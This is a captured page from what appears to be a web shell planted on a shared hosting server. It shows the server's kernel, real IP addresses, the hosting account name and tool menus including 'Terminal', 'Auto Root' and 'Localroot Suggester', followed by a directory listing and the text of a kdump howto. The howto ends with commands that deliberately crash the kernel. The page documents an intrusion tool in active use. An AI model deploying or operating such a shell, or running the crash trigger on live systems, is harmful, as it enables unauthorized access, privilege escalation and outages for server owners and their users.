Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.105
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
kexec-tools /
Delete
Unzip
Name
Size
Permission
Date
Action
News
2.74
KB
-rw-r--r--
2023-05-24 11:47
TODO
528
B
-rw-r--r--
2023-05-24 11:47
crashkernel-howto.txt
4.23
KB
-rw-r--r--
2025-09-24 06:14
early-kdump-howto.txt
3.52
KB
-rw-r--r--
2025-09-24 06:14
fadump-howto.txt
15.32
KB
-rw-r--r--
2025-09-24 06:14
kdump-in-cluster-environment.txt
3.74
KB
-rw-r--r--
2025-09-24 06:14
kexec-kdump-howto.txt
42.23
KB
-rw-r--r--
2025-09-24 06:14
live-image-kdump-howto.txt
765
B
-rw-r--r--
2025-09-24 06:14
supported-kdump-targets.txt
4.02
KB
-rw-r--r--
2025-09-24 06:14
Save
Rename
Kdump now works on live images with some manual configurations. Here is the step by step guide. 1. Enable crashkernel reservation Since there isn't any config file that can be used to configure kernel parameters for live images before booting them, we have to append 'crashkernel' argument in boot menu every time we boot a live image. 2. Change dump target in /etc/kdump.conf When kdump kernel boots in a live environment, the default target /var/crash is in RAM so you need to change the dump target to an external disk or a network dump target. Besides, make sure that "default dump_to_rootfs" is not specified. 3. Start kdump service $ kdumpctl start 4. Trigger a kdump test $ echo 1 > /proc/sys/kernel/sysrq $ echo c > /proc/sysrq-trigger